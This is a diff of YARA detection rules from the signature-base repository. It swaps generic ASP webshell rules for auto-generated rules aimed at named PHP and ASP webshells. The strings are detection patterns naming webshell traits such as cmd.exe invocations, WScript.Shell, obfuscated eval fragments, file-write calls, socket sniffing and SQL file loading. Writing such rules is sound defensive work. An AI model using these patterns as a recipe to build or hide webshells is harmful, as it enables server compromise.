-		$asp_string54 = ".\\u0052\\u0065\\u0066\\u006c\\u0065\\u0063\\u0074\\u0069\\u006f\\u006e\"" wide ascii
-		$asp_string55 = "\\u0041\\u0073\\u0073\\u0065\\u006d\\u0062\\u006c\\u0079.\\u004c\\u006f\\u0061\\u0064" wide ascii
-		$asp_string56 = "\\U00000052\\U00000065\\U00000071\\U00000075\\U00000065\\U00000073\\U00000074[\"" wide ascii
-		$asp_string57 = "*/\\U0000" wide ascii
-		$asp_string58 = "\\U0000FFFA" wide ascii
-		$asp_string59 = "\"e45e329feb5d925b\"" wide ascii
-		$asp_string60 = ">POWER!shelled<" wide ascii
-		$asp_string61 = "@requires xhEditor" wide ascii
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
+		$s0 = "<xmp>$out</"
+		$s1 = ".mm(\"Eval PHP code\")."
 
 	condition:
-		filesize <200KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and any of ($asp_string*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASP_Sniffer : FILE
+rule SIGNATURE_BASE_Felikspack3___PHP_Shells_R57
 {
 	meta:
-		description = "ASP webshell which can sniff local traffic"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b5704c19-fce1-5210-8185-4839c1c5a344"
-		date = "2021-03-14"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L4058-L4193"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1206c22de8d51055a5e3841b4542fb13aa0f97dd"
-		hash = "60d131af1ed23810dbc78f85ee32ffd863f8f0f4"
-		hash = "c3bc4ab8076ef184c526eb7f16e08d41b4cec97e"
-		hash = "ed5938c04f61795834751d44a383f8ca0ceac833"
-		logic_hash = "874ec4c5dff024a899976e46cd553b52c361779a5507cf08ff0de596fd460d41"
+		description = "Webshells Auto-generated - file r57.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "14092413-27a4-5b7d-9023-0b53b3d45a12"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7875-L7886"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "903908b77a266b855262cdbce81c3f72"
+		logic_hash = "8d0f3b2009594d4aa413c4794dca12e3c66a19974cc6d0b47cc3f5e2572a4c57"
 		score = 75
-		quality = -24
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$sniff1 = "Socket(" wide ascii
-		$sniff2 = ".Bind(" wide ascii
-		$sniff3 = ".SetSocketOption(" wide ascii
-		$sniff4 = ".IOControl(" wide ascii
-		$sniff5 = "PacketCaptureWriter" fullword wide ascii
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
-		$asp_input1 = "request" fullword nocase wide ascii
-		$asp_input2 = "Page_Load" fullword nocase wide ascii
-		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
-		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
-		$asp_xml_method1 = "GET" fullword wide ascii
-		$asp_xml_method2 = "POST" fullword wide ascii
-		$asp_xml_method3 = "HEAD" fullword wide ascii
-		$asp_form1 = "<form " wide ascii
-		$asp_form2 = "<Form " wide ascii
-		$asp_form3 = "<FORM " wide ascii
-		$asp_asp = "<asp:" wide ascii
-		$asp_text1 = ".text" wide ascii
-		$asp_text2 = ".Text" wide ascii
+		$s1 = "$sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file']."
 
 	condition:
-		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and filesize <30KB and all of ($sniff*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASP_Generic_Tiny : FILE
+rule SIGNATURE_BASE_Hytop2006_Rar_Folder_2006X
 {
 	meta:
-		description = "Generic tiny ASP webshell which uses any eval/exec function indirectly on user input or writes a file"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0904cefb-6e0f-5e5f-9986-cf83d409ce46"
-		date = "2021-01-07"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L4195-L4402"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "990e3f129b8ba409a819705276f8fa845b95dad0"
-		hash = "52ce724580e533da983856c4ebe634336f5fd13a"
-		hash = "0864f040a37c3e1cef0213df273870ed6a61e4bc"
-		hash = "b184dc97b19485f734e3057e67007a16d47b2a62"
-		logic_hash = "62012312876adb97f24ff39af041263d7678a4264374398907b2442731e586d7"
+		description = "Webshells Auto-generated - file 2006X.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7887-L7899"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cf3ee0d869dd36e775dfcaa788db8e4b"
+		logic_hash = "b71cf90900c7eae4caef57564292ca497a2c6c77e3de2994ba9e4cecae7f2697"
 		score = 75
-		quality = -352
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$fp1 = "net.rim.application.ipproxyservice.AdminCommand.execute"
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
-		$asp_input1 = "request" fullword nocase wide ascii
-		$asp_input2 = "Page_Load" fullword nocase wide ascii
-		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
-		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
-		$asp_xml_method1 = "GET" fullword wide ascii
-		$asp_xml_method2 = "POST" fullword wide ascii
-		$asp_xml_method3 = "HEAD" fullword wide ascii
-		$asp_form1 = "<form " wide ascii
-		$asp_form2 = "<Form " wide ascii
-		$asp_form3 = "<FORM " wide ascii
-		$asp_asp = "<asp:" wide ascii
-		$asp_text1 = ".text" wide ascii
-		$asp_text2 = ".Text" wide ascii
-		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
-		$pack = { 50 41 43 4b 00 00 00 02 00 }
-		$asp_payload0 = "eval_r" fullword nocase wide ascii
-		$asp_payload1 = /\beval\s/ nocase wide ascii
-		$asp_payload2 = /\beval\(/ nocase wide ascii
-		$asp_payload3 = /\beval\"\"/ nocase wide ascii
-		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
-		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
-		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
-		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
-		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
-		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
-		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
-		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
-		$asp_multi_payload_one2 = "addcode" fullword wide ascii
-		$asp_multi_payload_one3 = /\.run\b/ wide ascii
-		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
-		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
-		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
-		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
-		$asp_multi_payload_three2 = "Process" fullword wide ascii
-		$asp_multi_payload_three3 = ".Start" wide ascii
-		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
-		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
-		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
-		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
-		$asp_multi_payload_five2 = ".Start" nocase wide ascii
-		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
-		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
-		$asp_always_write1 = /\.write/ nocase wide ascii
-		$asp_always_write2 = /\.swrite/ nocase wide ascii
-		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
-		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
-		$asp_cr_write1 = "CreateObject(" nocase wide ascii
-		$asp_cr_write2 = "CreateObject (" nocase wide ascii
-		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
-		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
+		$s1 = "<input name=\"password\" type=\"password\" id=\"password\""
+		$s6 = "name=\"theAction\" type=\"text\" id=\"theAction\""
 
 	condition:
-		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and not 1 of ($fp*) and not ( uint16(0)==0x5a4d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50) and ( filesize <700 and (( any of ($asp_payload*) or all of ($asp_multi_payload_one*) or all of ($asp_multi_payload_two*) or all of ($asp_multi_payload_three*) or all of ($asp_multi_payload_four*) or all of ($asp_multi_payload_five*)) or ( any of ($asp_always_write*) and ( any of ($asp_write_way_one*) and any of ($asp_cr_write*)) or ( any of ($asp_streamwriter*)))))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASP_Generic : FILE
+rule SIGNATURE_BASE_FSO_S_Phvayv_2
 {
 	meta:
-		description = "Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0904cefb-6e0f-5e5f-9986-cf83d409ce46"
-		date = "2021-03-07"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L4404-L4702"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75"
-		hash = "4cf6fbad0411b7d33e38075f5e00d4c8ae9ce2f6f53967729974d004a183b25c"
-		hash = "a91320483df0178eb3cafea830c1bd94585fc896"
-		hash = "f3398832f697e3db91c3da71a8e775ebf66c7e73"
-		logic_hash = "60764b137f7e62755ab7e0a266661d19e04434bc1c9eb17864bfcab25476afbf"
-		score = 60
-		quality = -376
-		tags = "FILE"
+		description = "Webshells Auto-generated - file phvayv.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8bd52f9b-a232-566d-90ab-4085933cdc65"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7900-L7911"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "205ecda66c443083403efb1e5c7f7878"
+		logic_hash = "11418a11692412ccb309983bdadd9bda2b27b692c3282eb0386094e76c7ba1e0"
+		score = 75
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$asp_much_sus7 = "Web Shell" nocase
-		$asp_much_sus8 = "WebShell" nocase
-		$asp_much_sus3 = "hidded shell"
-		$asp_much_sus4 = "WScript.Shell.1" nocase
-		$asp_much_sus5 = "AspExec"
-		$asp_much_sus14 = "\\pcAnywhere\\" nocase
-		$asp_much_sus15 = "antivirus" nocase
-		$asp_much_sus16 = "McAfee" nocase
-		$asp_much_sus17 = "nishang"
-		$asp_much_sus18 = "\"unsafe" fullword wide ascii
-		$asp_much_sus19 = "'unsafe" fullword wide ascii
-		$asp_much_sus28 = "exploit" fullword wide ascii
-		$asp_much_sus30 = "TVqQAAMAAA" wide ascii
-		$asp_much_sus31 = "HACKED" fullword wide ascii
-		$asp_much_sus32 = "hacked" fullword wide ascii
-		$asp_much_sus33 = "hacker" wide ascii
-		$asp_much_sus34 = "grayhat" nocase wide ascii
-		$asp_much_sus35 = "Microsoft FrontPage" wide ascii
-		$asp_much_sus36 = "Rootkit" wide ascii
-		$asp_much_sus37 = "rootkit" wide ascii
-		$asp_much_sus38 = "/*-/*-*/" wide ascii
-		$asp_much_sus39 = "u\"+\"n\"+\"s" wide ascii
-		$asp_much_sus40 = "\"e\"+\"v" wide ascii
-		$asp_much_sus41 = "a\"+\"l\"" wide ascii
-		$asp_much_sus42 = "\"+\"(\"+\"" wide ascii
-		$asp_much_sus43 = "q\"+\"u\"" wide ascii
-		$asp_much_sus44 = "\"u\"+\"e" wide ascii
-		$asp_much_sus45 = "/*//*/" wide ascii
-		$asp_much_sus46 = "(\"/*/\"" wide ascii
-		$asp_much_sus47 = "eval(eval(" wide ascii
-		$asp_much_sus48 = "Shell.Users" wide ascii
-		$asp_much_sus49 = "PasswordType=Regular" wide ascii
-		$asp_much_sus50 = "-Expire=0" wide ascii
-		$asp_much_sus51 = "sh\"&\"el" wide ascii
-		$asp_gen_sus1 = /:\s{0,20}eval}/ nocase wide ascii
-		$asp_gen_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
-		$asp_gen_sus6 = "self.delete"
-		$asp_gen_sus9 = "\"cmd /c" nocase
-		$asp_gen_sus10 = "\"cmd\"" nocase
-		$asp_gen_sus11 = "\"cmd.exe" nocase
-		$asp_gen_sus12 = "%comspec%" wide ascii
-		$asp_gen_sus13 = "%COMSPEC%" wide ascii
-		$asp_gen_sus18 = "Hklm.GetValueNames();" nocase
-		$asp_gen_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
-		$asp_gen_sus21 = "\"upload\"" wide ascii
-		$asp_gen_sus22 = "\"Upload\"" wide ascii
-		$asp_gen_sus25 = "shell_" wide ascii
-		$asp_gen_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
-		$asp_gen_sus30 = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
-		$asp_gen_sus31 = "serv-u" wide ascii
-		$asp_gen_sus32 = "Serv-u" wide ascii
-		$asp_gen_sus33 = "Army" fullword wide ascii
-		$asp_slightly_sus1 = "<pre>" wide ascii
-		$asp_slightly_sus2 = "<PRE>" wide ascii
-		$asp_gen_obf1 = "\"+\"" wide ascii
-		$fp1 = "DataBinder.Eval"
-		$fp2 = "B2BTools"
-		$fp3 = "<b>Failed to execute cache update. See the log file for more information" ascii
-		$fp4 = "Microsoft. All rights reserved."
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
-		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
-		$pack = { 50 41 43 4b 00 00 00 02 00 }
-		$asp_input1 = "request" fullword nocase wide ascii
-		$asp_input2 = "Page_Load" fullword nocase wide ascii
-		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
-		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
-		$asp_xml_method1 = "GET" fullword wide ascii
-		$asp_xml_method2 = "POST" fullword wide ascii
-		$asp_xml_method3 = "HEAD" fullword wide ascii
-		$asp_form1 = "<form " wide ascii
-		$asp_form2 = "<Form " wide ascii
-		$asp_form3 = "<FORM " wide ascii
-		$asp_asp = "<asp:" wide ascii
-		$asp_text1 = ".text" wide ascii
-		$asp_text2 = ".Text" wide ascii
-		$asp_payload0 = "eval_r" fullword nocase wide ascii
-		$asp_payload1 = /\beval\s/ nocase wide ascii
-		$asp_payload2 = /\beval\(/ nocase wide ascii
-		$asp_payload3 = /\beval\"\"/ nocase wide ascii
-		$asp_payload4 = /:\s{0,10}eval\b/ nocase wide ascii
-		$asp_payload8 = /\bexecute\s?\(/ nocase wide ascii
-		$asp_payload9 = /\bexecute\s[\w"]/ nocase wide ascii
-		$asp_payload11 = "WSCRIPT.SHELL" fullword nocase wide ascii
-		$asp_payload13 = "ExecuteGlobal" fullword nocase wide ascii
-		$asp_payload14 = "ExecuteStatement" fullword nocase wide ascii
-		$asp_payload15 = "ExecuteStatement" fullword nocase wide ascii
-		$asp_multi_payload_one1 = "CreateObject" nocase fullword wide ascii
-		$asp_multi_payload_one2 = "addcode" fullword wide ascii
-		$asp_multi_payload_one3 = /\.run\b/ wide ascii
-		$asp_multi_payload_two1 = "CreateInstanceFromVirtualPath" fullword wide ascii
-		$asp_multi_payload_two2 = "ProcessRequest" fullword wide ascii
-		$asp_multi_payload_two3 = "BuildManager" fullword wide ascii
-		$asp_multi_payload_three1 = "System.Diagnostics" wide ascii
-		$asp_multi_payload_three2 = "Process" fullword wide ascii
-		$asp_multi_payload_three3 = "Start" fullword wide ascii
-		$asp_multi_payload_four1 = "CreateObject" fullword nocase wide ascii
-		$asp_multi_payload_four2 = "TransformNode" fullword nocase wide ascii
-		$asp_multi_payload_four3 = "loadxml" fullword nocase wide ascii
-		$asp_multi_payload_five1 = "ProcessStartInfo" fullword nocase wide ascii
-		$asp_multi_payload_five2 = ".Start" nocase wide ascii
-		$asp_multi_payload_five3 = ".Filename" nocase wide ascii
-		$asp_multi_payload_five4 = ".Arguments" nocase wide ascii
-		$asp_always_write1 = /\.write/ nocase wide ascii
-		$asp_always_write2 = /\.swrite/ nocase wide ascii
-		$asp_write_way_one2 = "SaveToFile" fullword nocase wide ascii
-		$asp_write_way_one3 = "CREAtEtExtFiLE" fullword nocase wide ascii
-		$asp_cr_write1 = "CreateObject(" nocase wide ascii
-		$asp_cr_write2 = "CreateObject (" nocase wide ascii
-		$asp_streamwriter1 = "streamwriter" fullword nocase wide ascii
-		$asp_streamwriter2 = "filestream" fullword nocase wide ascii
-		$tagasp_capa_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_capa_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_capa_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_capa_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_capa_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$s2 = "rows=\"24\" cols=\"122\" wrap=\"OFF\">XXXX</textarea></font><font"
 
 	condition:
-		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and not ( uint16(0)==0x5a4d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and ( any of ($asp_payload*) or all of ($asp_multi_payload_one*) or all of ($asp_multi_payload_two*) or all of ($asp_multi_payload_three*) or all of ($asp_multi_payload_four*) or all of ($asp_multi_payload_five*)) and not any of ($fp*) and (( filesize <3KB and (1 of ($asp_slightly_sus*))) or ( filesize <25KB and (1 of ($asp_much_sus*) or 1 of ($asp_gen_sus*) or (#asp_gen_obf1>2))) or ( filesize <50KB and (1 of ($asp_much_sus*) or 3 of ($asp_gen_sus*) or (#asp_gen_obf1>6))) or ( filesize <150KB and (1 of ($asp_much_sus*) or 4 of ($asp_gen_sus*) or (#asp_gen_obf1>6) or (( any of ($asp_always_write*) and ( any of ($asp_write_way_one*) and any of ($asp_cr_write*)) or ( any of ($asp_streamwriter*))) and (1 of ($asp_much_sus*) or 2 of ($asp_gen_sus*) or (#asp_gen_obf1>3))))) or ( filesize <100KB and ( any of ($tagasp_capa_classid*))))
+		all of them
 }
-import "math"
+rule SIGNATURE_BASE_Elmaliseker
+{
+	meta:
+		description = "Webshells Auto-generated - file elmaliseker.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7ecf3d5c-be91-579e-905b-5f2ad03a0e42"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7912-L7924"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ccf48af0c8c09bbd038e610a49c9862e"
+		logic_hash = "54c0b8e74a9b10fe54901c0595600af1dfc54abd3f710fc20ca87ca92236bb49"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-rule SIGNATURE_BASE_WEBSHELL_ASP_Generic_Registry_Reader : FILE
+	strings:
+		$s0 = "javascript:Command('Download'"
+		$s5 = "zombie_array=array("
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Shelltools_G0T_Root_Resolve
 {
 	meta:
-		description = "Generic ASP webshell which reads the registry (might look for passwords, license keys, database settings, general recon, ..."
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "02d6f95f-1801-5fb0-8ab8-92176cf2fdd7"
-		date = "2021-03-14"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L4704-L4851"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4d53416398a89aef3a39f63338a7c1bf2d3fcda4"
-		hash = "f85cf490d7eb4484b415bea08b7e24742704bdda"
-		hash = "898ebfa1757dcbbecb2afcdab1560d72ae6940de"
